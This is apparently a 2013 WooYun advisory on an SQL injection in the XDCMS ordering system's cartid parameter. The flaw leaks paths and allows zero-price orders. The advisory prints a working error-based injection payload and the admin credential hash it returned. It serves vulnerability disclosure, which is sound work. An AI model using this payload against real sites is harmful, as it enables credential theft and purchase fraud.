当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-044510

漏洞标题:XDCMS订餐系统SQL注入#2(官方demo演示)

相关厂商:www.xdcms.cn

漏洞作者: xfkxfk

提交时间:2013-11-30 19:41

修复时间:2014-02-28 19:41

公开时间:2014-02-28 19:41

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-11-30: 细节已通知厂商并且等待厂商处理中
2013-11-30: 厂商已经确认,细节仅向厂商公开
2013-12-03: 细节向第三方安全合作伙伴开放
2014-01-24: 细节向核心白帽子及相关领域专家公开
2014-02-03: 细节向普通白帽子公开
2014-02-13: 细节向实习白帽子公开
2014-02-28: 细节向公众公开

简要描述:

XDCMS订餐系统SQL注入+报路径+任意物品0元够(官方demo演示)

详细说明:

XDCMS订餐系统SQL注入#2(官方demo演示)
此SQL注入在提交订单时,进行查询订单中物品价格时导致注入。
此SQL注入不仅仅:
1、SQL注入
2、还会爆出系统绝对路径
3、最重要的是由于sql注入,导致查询价格失败,但是订单提交仍能成功,导致0元购买任意物品。
第一步选择物品:

cart1.png


第二步提交订单:

cart2.png


第三步抓包,修改数据:

cart3.png


cartid为购买的每个物品的id号,这里实在进行查询物品的属性,如价格等。
这里的cartid没有过滤导致SQL注入。
还爆出了系统绝对路径。

cart4.png


由于这里查询物品的属性失败,但是订单扔能提交成功,所以这里的订单的金额就是0元了。

cart5.png


成功提交订单,而且是0元购买了物品。

漏洞证明:

由于官方演示最新版装了安全狗,exp无法执行成功。
在免费版中根据c_cart表的结构,构造如下exp,演示exp成功,如下:
在cartid=2289处插入SQL语句:

' union select 1,2,3,4,5,6,7,8,9 from (select count(*),concat(floor(rand(0)*2),(select concat(username,0x23,password) from c_admin limit 0,1))a from information_schema.tables group by a)b#


即可获得用户名密码:

1admin#c3284d0f94606de1fd2af172aba15bf3

修复方案:

过滤cartid参数。
物品熟悉查询失败,不能提交订单。

版权声明:转载请注明来源 xfkxfk@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2013-11-30 21:47

厂商回复:

谢谢,已确认

最新状态:

暂无